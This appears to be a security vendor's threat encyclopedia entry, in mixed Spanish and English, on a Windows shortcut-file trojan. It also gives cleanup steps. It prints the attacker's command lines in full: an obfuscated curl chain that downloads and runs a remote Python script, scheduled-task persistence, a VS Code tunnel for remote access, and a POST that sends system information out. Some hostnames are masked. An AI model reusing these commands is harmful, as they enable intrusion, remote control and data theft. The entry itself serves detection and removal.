Author: Neljorn Nathaniel Aguas   

 

HEUR:Trojan.WinLNK.Agent.gen (KASPERSKY)

 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
     

  • In the wild::
    Yes

  OVERVIEW

INFECTION CHANNEL: Descargado de Internet, Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 2,044 bytes
File type: LNK
INITIAL SAMPLES RECEIVED DATE: 30 września 2024
PAYLOAD: Drops files, Connects to URLs/IPs

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

  • %AppDataLocal%\Microsoft\Python\update.py
  • %AppDataLocal%\Microsoft\python.zip
    • After extracting to %AppDataLocal%\Microsoft\Python:
      • _asyncio.pyd
      • _bz2.pyd
      • _ctypes.pyd
      • _decimal.pyd
      • _elementtree.pyd
      • _hashlib.pyd
      • _lzma.pyd
      • _msi.pyd
      • _multiprocessing.pyd
      • _overlapped.pyd
      • _queue.pyd
      • _socket.pyd
      • _sqlite3.pyd
      • _ssl.pyd
      • _uuid.pyd
      • _wmi.pyd
      • _zoneinfo.pyd
      • libcrypto-3.dll
      • libffi-8.dll
      • libssl-3.dll
      • LICENSE.txt
      • pyexpat.pyd
      • python.cat
      • python.exe
      • python.zip
      • python3.dll
      • python312._pth
      • python312.dll
      • python312.zip
      • pythonw.exe
      • select.pyd
      • sqlite3.dll
      • unicodedata.pyd
      • vcruntime140_1.dll
      • vcruntime140.dll
      • winsound.pyd

Agrega los procesos siguientes:

  • "%System%\cmd.exe" /c start msg {Username} "安裝成功" & c^u^r^l -s -k https://www.{BLOCKED}n.org/ftp/python/3.12.5/python-3.12.5-embed-amd64.zip -o "%AppDataLocal%\Microsoft\python.zip" & timeout 10 & mkdir "%AppDataLocal%\Microsoft\Python" & tar -xf "%AppDataLocal%\Microsoft\python.zip" -C "%AppDataLocal%\Microsoft\Python" & c^u^r^l -s -k https://{BLOCKED}e.ee/r/DQjrd/0 -o "%AppDataLocal%\Microsoft\Python\update.py" & start "" /B "%AppDataLocal%\Microsoft\Python\pythonw.exe" "%AppDataLocal%\Microsoft\Python\update.py"

Crea las carpetas siguientes:

  • %AppDataLocal%\Microsoft\Python

Rutina de descarga

Guarda los archivos que descarga con los nombres siguientes:

  • %AppDataLocal%\Microsoft\python.zip → legitimate Python 3.12.5 x64 zip file
  • %AppDataLocal%\Microsoft\Python\update.py → malicious Python code

Otros detalles

Hace lo siguiente:

  • It sends Windows message "安裝成功" translated to "Installation successful".
  • It downloads a legitimate 64-bit Python 3.12.5 embedded zip file and extracts its contents.
  • It downloads a malicious Python script file from a URL and executes using the extracted Python package.
  • It requires the following command line tools to proceed with its intended routine:
    • curl
    • tar
  • The executed Python code does the following:
    • It fetches running processes using tasklist command.
    • It connects to the following URL(s) to download its component file(s):
      • https://{BLOCKED}95.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip
    • It saves the files it downloads using the following names:
      • %AppDataLocal%\Microsoft\vscode.zip → contains a file named code.exe
    • It adds the following folders:
      • %AppDataLocal%\Microsoft\VSCode
    • It extracts the zip file into the created folder with the following filename:
      • %AppDataLocal%\Microsoft\VSCode\code.exe
    • After extraction, it deletes the previously downloaded zip file.
    • It adds the following processes:
      • %System%\cmd.exe /c "%AppDataLocal%\Microsoft\VSCode\code.exe tunnel --accept-server-license-terms user logout"
      • %System%\cmd.exe /c "%AppDataLocal%\Microsoft\VSCode\code.exe --locale en-US tunnel --accept-server-license-terms --name "{Computer Name}"
        • Saves the output into the following files:
          • %AppDataLocal%\Microsoft\VSCode\output.txt
          • %AppDataLocal%\Microsoft\VSCode\output2.txt
      • schtasks /create /tn "MicrosoftHealthcareMonitorNode" /tr "%AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py" /st 08:00 /sc HOURLY /mo 4 /f
      • schtasks /create /tn "MicrosoftHealthcareMonitorNode" /tr "%AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py" /sc ONLOGON /ru SYSTEM /rl HIGHEST /f
    • It retrieves the following information from the affected system:
      • System Locale
      • Computer Name
      • Username
      • User Domain
      • %Program Files% Contents
      • %ProgramData% Contents
      • %System Root%\Users Contents
    • It encodes the collected information into a Base64 format.
    • It sends the gathered information via HTTP POST to the following URL:
      • http://{BLOCKED}o.com/r/2yxp98b3/{Encoded Base64 String of Collected information}
    • It adds the following scheduled tasks:
      • If executed as user:
        • Location: {Root Directory}
          Name: MicrosoftHealthcareMonitorNode
          Trigger: One time at 8:00 AM on {Scheduled Task Create Time} → After triggered, repeat every 04:00:00 indefinitely.
          Action: Start a program → %AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py
      • If executed as an administrator:
        • Location: {Root Directory}
          Name: MicrosoftHealthcareMonitorNode
          Trigger: At log on of any user
          Action: Start a program → %AppDataLocal%\Microsoft\Python\pythonw.exe %AppDataLocal%\Microsoft\Python\update.py

  SOLUTION

Minimum scan engine: 9.800
First VSAPI Pattern File: 19.624.03
First VSAPI Pattern Release Date: 01 de października de 2024
VSAPI OPR PATTERN-VERSION: 19.625.00
VSAPI OPR PATTERN DATE: 02 de października de 2024

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Reiniciar en modo seguro

[ learnMore ]

Step 5

Buscar y eliminar estos archivos

[ learnMore ]
Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción "Más opciones avanzadas" para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.
  • %AppDataLocal%\Microsoft\Python\update.py
  • %AppDataLocal%\Microsoft\Python\_asyncio.pyd
  • %AppDataLocal%\Microsoft\Python\_bz2.pyd
  • %AppDataLocal%\Microsoft\Python\_ctypes.pyd
  • %AppDataLocal%\Microsoft\Python\_decimal.pyd
  • %AppDataLocal%\Microsoft\Python\_elementtree.pyd
  • %AppDataLocal%\Microsoft\Python\_hashlib.pyd
  • %AppDataLocal%\Microsoft\Python\_lzma.pyd
  • %AppDataLocal%\Microsoft\Python\_msi.pyd
  • %AppDataLocal%\Microsoft\Python\_multiprocessing.pyd
  • %AppDataLocal%\Microsoft\Python\_overlapped.pyd
  • %AppDataLocal%\Microsoft\Python\_queue.pyd
  • %AppDataLocal%\Microsoft\Python\_socket.pyd
  • %AppDataLocal%\Microsoft\Python\_sqlite3.pyd
  • %AppDataLocal%\Microsoft\Python\_ssl.pyd
  • %AppDataLocal%\Microsoft\Python\_uuid.pyd
  • %AppDataLocal%\Microsoft\Python\_wmi.pyd
  • %AppDataLocal%\Microsoft\Python\_zoneinfo.pyd
  • %AppDataLocal%\Microsoft\Python\libcrypto-3.dll
  • %AppDataLocal%\Microsoft\Python\libffi-8.dll
  • %AppDataLocal%\Microsoft\Python\libssl-3.dll
  • %AppDataLocal%\Microsoft\Python\LICENSE.txt
  • %AppDataLocal%\Microsoft\Python\pyexpat.pyd
  • %AppDataLocal%\Microsoft\Python\python.cat
  • %AppDataLocal%\Microsoft\Python\python.exe
  • %AppDataLocal%\Microsoft\Python\python.zip
  • %AppDataLocal%\Microsoft\Python\python3.dll
  • %AppDataLocal%\Microsoft\Python\python312._pth
  • %AppDataLocal%\Microsoft\Python\python312.dll
  • %AppDataLocal%\Microsoft\Python\python312.zip
  • %AppDataLocal%\Microsoft\Python\pythonw.exe
  • %AppDataLocal%\Microsoft\Python\select.pyd
  • %AppDataLocal%\Microsoft\Python\sqlite3.dll
  • %AppDataLocal%\Microsoft\Python\unicodedata.pyd
  • %AppDataLocal%\Microsoft\Python\vcruntime140_1.dll
  • %AppDataLocal%\Microsoft\Python\vcruntime140.dll
  • %AppDataLocal%\Microsoft\Python\winsound.pyd
  • %AppDataLocal%\Microsoft\VSCode\code.exe
  • %AppDataLocal%\Microsoft\VSCode\output.txt
  • %AppDataLocal%\Microsoft\VSCode\output2.txt
  • %AppDataLocal%\Microsoft\python.zip
  • %AppDataLocal%\Microsoft\vscode.zip
DATA_GENERIC_FILENAME_1
  • En la lista desplegable Buscar en, seleccione Mi PC y pulse Intro.
  • Una vez haya encontrado el archivo, selecciónelo y, a continuación, pulse MAYÚS+SUPR para eliminarlo definitivamente.
  • Repita los pasos 2 a 4 con el resto de archivos:
      • %AppDataLocal%\Microsoft\Python\update.py
      • %AppDataLocal%\Microsoft\Python\_asyncio.pyd
      • %AppDataLocal%\Microsoft\Python\_bz2.pyd
      • %AppDataLocal%\Microsoft\Python\_ctypes.pyd
      • %AppDataLocal%\Microsoft\Python\_decimal.pyd
      • %AppDataLocal%\Microsoft\Python\_elementtree.pyd
      • %AppDataLocal%\Microsoft\Python\_hashlib.pyd
      • %AppDataLocal%\Microsoft\Python\_lzma.pyd
      • %AppDataLocal%\Microsoft\Python\_msi.pyd
      • %AppDataLocal%\Microsoft\Python\_multiprocessing.pyd
      • %AppDataLocal%\Microsoft\Python\_overlapped.pyd
      • %AppDataLocal%\Microsoft\Python\_queue.pyd
      • %AppDataLocal%\Microsoft\Python\_socket.pyd
      • %AppDataLocal%\Microsoft\Python\_sqlite3.pyd
      • %AppDataLocal%\Microsoft\Python\_ssl.pyd
      • %AppDataLocal%\Microsoft\Python\_uuid.pyd
      • %AppDataLocal%\Microsoft\Python\_wmi.pyd
      • %AppDataLocal%\Microsoft\Python\_zoneinfo.pyd
      • %AppDataLocal%\Microsoft\Python\libcrypto-3.dll
      • %AppDataLocal%\Microsoft\Python\libffi-8.dll
      • %AppDataLocal%\Microsoft\Python\libssl-3.dll
      • %AppDataLocal%\Microsoft\Python\LICENSE.txt
      • %AppDataLocal%\Microsoft\Python\pyexpat.pyd
      • %AppDataLocal%\Microsoft\Python\python.cat
      • %AppDataLocal%\Microsoft\Python\python.exe
      • %AppDataLocal%\Microsoft\Python\python.zip
      • %AppDataLocal%\Microsoft\Python\python3.dll
      • %AppDataLocal%\Microsoft\Python\python312._pth
      • %AppDataLocal%\Microsoft\Python\python312.dll
      • %AppDataLocal%\Microsoft\Python\python312.zip
      • %AppDataLocal%\Microsoft\Python\pythonw.exe
      • %AppDataLocal%\Microsoft\Python\select.pyd
      • %AppDataLocal%\Microsoft\Python\sqlite3.dll
      • %AppDataLocal%\Microsoft\Python\unicodedata.pyd
      • %AppDataLocal%\Microsoft\Python\vcruntime140_1.dll
      • %AppDataLocal%\Microsoft\Python\vcruntime140.dll
      • %AppDataLocal%\Microsoft\Python\winsound.pyd
      • %AppDataLocal%\Microsoft\VSCode\code.exe
      • %AppDataLocal%\Microsoft\VSCode\output.txt
      • %AppDataLocal%\Microsoft\VSCode\output2.txt
      • %AppDataLocal%\Microsoft\python.zip
      • %AppDataLocal%\Microsoft\vscode.zip
  • Step 6

    Buscar y eliminar estas carpetas

    [ learnMore ]
    Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todas las carpetas ocultas.
    • %AppDataLocal%\Microsoft\Python
    • %AppDataLocal%\Microsoft\VSCode

    Step 7

    Reinicie en modo normal y explore el equipo con su producto de Trend Micro para buscar los archivos identificados como Trojan.LNK.DOWNLOADER.D En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


    Did this description help? Tell us how we did.